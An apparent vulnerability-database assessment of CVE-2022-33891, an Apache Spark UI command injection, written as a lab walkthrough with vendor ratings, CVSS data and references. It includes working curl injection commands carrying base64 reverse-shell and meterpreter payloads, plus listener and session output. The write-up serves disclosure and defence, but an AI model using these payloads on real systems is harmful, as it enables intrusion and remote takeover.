h00die-gr3y's assessment of CVE-2022-33891

Description

The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name. A malicious user might then be able to reach a permission check function that will ultimately build a Unix shell command based on their input, and execute it. This will result in arbitrary shell command execution as the user Spark is currently running as. This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1.

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h00die-gr3y (128)

August 19, 2022 9:58pm UTC (2 years ago)•

Ratings

Attacker Value

High

Exploitability

High

Common in enterprise Easy to weaponize Unauthenticated Vulnerable in uncommon configuration

Technical Analysis

Apache Spark released the latest security bulletin on July 18, which contains a shell command injection vulnerability (CVE-2022-33891). The security researcher Kostya Kortchinsky (Databricks) has been credited with reporting this flaw.

What is exactly the issue?
In the vulnerable versions of Apache Spark, a non-default setting called spark.acls.enable true triggers a shell command injection code vulnerability. This piece of code is responsible to check the permission of an user using a bash command shell in combination with the unix id command. Ironically the spark.acls.enable true configuration setting is designed to improve the security access within the Spark application, but unfortunately this configuration setting triggers the vulnerable code below.

  private def getUnixGroups(username: String): Set[String] = {
    val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
    // we need to get rid of the trailing "\n" from the result of command execution
    Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
    Utils.executeAndGetOutput(idPath ::  "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
  }
}

You can trigger this very easily using ?doAs parameter passing a raw Linux command:

http://<spark-ip>:8080/?doAs=`[command injection here]`

User commands are processed through ?doAs parameter and nothing reflected back on the page during command execution, so this is a blind OS injection.

To demonstrate this vulnerability, download a vulnerable Spark docker image from dockerhub (https://hub.docker.com/).

Startup the Docker image
In a new terminal, enter sudo docker exec -it spark_spark_1 /bin/bash
In the container bash session, enter: echo "spark.acls.enable true" >> conf/spark-defaults.conf
Restart docker image

Craft the command injection.
We will use a simple reverse shell payload: sh -i >& /dev/tcp/192.168.201.8/4444 0>&1

# echo 'sh -i >& /dev/tcp/192.168.201.8/4444 0>&1' | base64
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0IDA+JjEK
# curl -d 'doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0IDA+JjEK | base64 -d | bash`' -X POST http://192.168.201.37:8080/data

Netcat listener

# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.201.8] from (UNKNOWN) [192.168.201.37] 65314
$ whoami
spark

Other example with Metasploit using python meterpreter
Setup and start the handler…

msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf6 exploit(multi/handler) > jobs

Jobs
====

  Id  Name                    Payload                         Payload opts
  --  ----                    -------                         ------------
  0   Exploit: multi/handler  python/meterpreter/reverse_tcp  tcp://0.0.0.0:4444

Craft the payload with msfvenom

#  msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.201.8 LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 497 bytes
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))

Code the payload…

# echo "python -c \"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))\"" | base64
cHl0aG9uIC1jICJleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX2ltcG9ydF9f
KCdjb2RlY3MnKS5nZXRlbmNvZGVyKCd1dGYtOCcpKCdhVzF3YjNKMElITnZZMnRsZEN4NmJHbGlM
R0poYzJVMk5DeHpkSEoxWTNRc2RHbHRaUXBtYjNJZ2VDQnBiaUJ5WVc1blpTZ3hNQ2s2Q2dsMGNu
azZDZ2tKY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1Fv
SkNYTXVZMjl1Ym1WamRDZ29KekU1TWk0eE5qZ3VNakF4TGpnbkxEUTBORFFwS1FvSkNXSnlaV0Zy
Q2dsbGVHTmxjSFE2Q2drSmRHbHRaUzV6YkdWbGNDZzFLUXBzUFhOMGNuVmpkQzUxYm5CaFkyc29K
ejVKSnl4ekxuSmxZM1lvTkNrcFd6QmRDbVE5Y3k1eVpXTjJLR3dwQ25kb2FXeGxJR3hsYmloa0tU
eHNPZ29KWkNzOWN5NXlaV04yS0d3dGJHVnVLR1FwS1FwbGVHVmpLSHBzYVdJdVpHVmpiMjF3Y21W
emN5aGlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtHUXBLU3g3SjNNbk9uTjlLUW89JylbMF0pKSIK

Execute the payload…

# curl -d 'doAs=`echo cHl0aG9uIC1jICJleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX2ltcG9ydF9fKCdjb2RlY3MnKS5nZXRlbmNvZGVyKCd1dGYtOCcpKCdhVzF3YjNKMElITnZZMnRsZEN4NmJHbGlMR0poYzJVMk5DeHpkSEoxWTNRc2RHbHRaUXBtYjNJZ2VDQnBiaUJ5WVc1blpTZ3hNQ2s2Q2dsMGNuazZDZ2tKY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1FvSkNYTXVZMjl1Ym1WamRDZ29KekU1TWk0eE5qZ3VNakF4TGpnbkxEUTBORFFwS1FvSkNXSnlaV0ZyQ2dsbGVHTmxjSFE2Q2drSmRHbHRaUzV6YkdWbGNDZzFLUXBzUFhOMGNuVmpkQzUxYm5CaFkyc29KejVKSnl4ekxuSmxZM1lvTkNrcFd6QmRDbVE5Y3k1eVpXTjJLR3dwQ25kb2FXeGxJR3hsYmloa0tUeHNPZ29KWkNzOWN5NXlaV04yS0d3dGJHVnVLR1FwS1FwbGVHVmpLSHBzYVdJdVpHVmpiMjF3Y21WemN5aGlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtHUXBLU3g3SjNNbk9uTjlLUW89JylbMF0pKSIK | base64 -d | bash`' -X POST http://192.168.201.37:8080/data

Meterpreter session…

msf6 exploit(multi/handler) >
[*] Sending stage (40168 bytes) to 192.168.201.37
[*] Meterpreter session 4 opened (192.168.201.8:4444 -> 192.168.201.37:49487) at 2022-08-19 21:12:25 +0000

msf6 exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > shell
Process 258 created.
Channel 1 created.
uname -a
Linux 7a26a9fb7ce3 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022 x86_64 GNU/Linux
ps ax
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:00 bash /opt/bitnami/spark/sbin/start-master.sh
   33 ?        S      0:00 bash /opt/bitnami/spark/sbin/spark-daemon.sh start org.apache.spark.deploy.master.Master 1 --host 7a26a9fb7ce3 --port 7077 --webui-port 8080
   38 ?        Sl     6:08 /opt/bitnami/java/bin/java -cp /opt/bitnami/spark/conf/:/opt/bitnami/spark/jars/* -Xmx1g org.apache.spark.deploy.master.Master --host 7a26a9fb7ce3 --port 7077 --webui-port 8080
  216 pts/0    Ss+    0:00 /bin/sh
  245 pts/1    Ss+    0:00 /bin/sh
  254 ?        Rsl    0:04 python -c exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))
  258 ?        S      0:00 /bin/sh
  270 ?        R      0:00 ps ax

To fix CVE-2022-33891, we recommend that users upgrade the Apache Spark to version 3.1.3, 3.2.2, or 3.3.0 or later in time.

References

I have added a reference to a Metasploit module that I developed and a reference to a nice POC from HuskyHacks.

Metasploit Apache Spark Module –> https://github.com/h00die-gr3y/Metasploit/
POC cve-2022-33891 –> https://github.com/HuskyHacks/cve-2022-33891

See More &2 repliesSee Less

gwillcox-r7 (579) August 22, 2022 7:54pm UTC (2 years ago)

Hey @h00die-gr3y this is a great writeup and I appreciate you adding the Metasploit module in. Would you be interested in submitting the Metasploit module as a PR to be included into Metasploit? We would love to add a module in for this! If your having trouble setting up the environment to submit a PR we can also create a new PR for you if that would be easier :)

h00die-gr3y (128) August 23, 2022 10:53am UTC (2 years ago)

Hi @gwillcox-r7
Of course I am happy to contribute and add the module to the main stream of Metasploit.
I am not really familiar with the PR process, so you need to guide me here…

Please send me some instructions per e-mail so I can follow the process…
Thanks !

CVSS V3 Severity and Metrics

Data provided by the National Vulnerability Database (NVD)

Base Score:

8.8 High

Impact Score:

5.9

Exploitability Score:

2.8

Vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack Vector (AV):

Network

Attack Complexity (AC):

Low

Privileges Required (PR):

Low

User Interaction (UI):

None

Scope (S):

Unchanged

Confidentiality (C):

High

Integrity (I):

High

Availability (A):

High

Vendors

apache

Products

spark

Metasploit Modules

exploit/linux/http/apache_spark_rce_cve_2022_33891 (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_spark_rce_cve_2022_33891.rb)

Exploited in the Wild

Reported by:

gwillcox-r7 indicated sources as

Government or Industry Alert (https://nsfocusglobal.com/apache-spark-shell-command-injection-vulnerability-cve-2022-33891-alerts/)
Threat Feed (https://www.microsoft.com/en-us/security/blog/2022/12/21/microsoft-research-uncovers-new-zerobot-capabilities/)

Reported: August 01, 2022 7:52pm UTC (2 years ago) • Edited 2 years ago

mkienow-r7 indicated source as Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)

Reported: March 07, 2023 6:48pm UTC (1 year ago)

AttackerKB Worker indicated source as Government or Industry Alert (https://www.cisa.gov/news-events/alerts/2023/03/07/cisa-adds-three-known-exploited-vulnerabilities-catalog)

Reported: November 08, 2024 8:22am UTC (1 month ago)

References

Canonical

CVE-2022-33891 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-33891)

Advisory

https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc

[oss-security] 20230502 CVE-2023-32007: Apache Spark: Shell command injection via Spark UI (http://www.openwall.com/lists/oss-security/2023/05/02/1)

Exploit

PoCs that have not been added by contributors directly have been sourced from: nomi-sec/PoC-in-GitHub.
A PoC added here by the AKB Worker must have at least 2 GitHub stars.

Metasploit Module CVE-2022-33891 (https://github.com/h00die-gr3y/Metasploit)

POC CVE-2022-33891 (https://github.com/HuskyHacks/cve-2022-33891)

CVE-2022-33891 (https://github.com/west-wind/CVE-2022-33891) (Added by AKB Worker)

CVE-2022-33891 (https://github.com/AmoloHT/CVE-2022-33891) (Added by AKB Worker)

cve-2022-33891 (https://github.com/W01fh4cker/cve-2022-33891) (Added by AKB Worker)

Miscellaneous

http://packetstormsecurity.com/files/168309/Apache-Spark-Unauthenticated-Command-Injection.html

Rapid7

High

CVE-2022-33891

High

High

None

Low

Network

CVE-2022-33891

Description

Add Assessment

Ratings

Technical Analysis

References

CVSS V3 Severity and Metrics

General Information

Vendors

Products

Metasploit Modules

Exploited in the Wild

References

Canonical

Advisory

Exploit

Miscellaneous

Additional Info

Technical Analysis

High

CVE-2022-33891

High

High

None

Low

Network

CVE-2022-33891

Description

Add Assessment

Ratings

Technical Analysis

References

CVSS V3 Severity and Metrics

General Information

Vendors

Products

Metasploit Modules

Exploited in the Wild

References

Canonical

Advisory

Exploit

Miscellaneous

Additional Info

Technical Analysis

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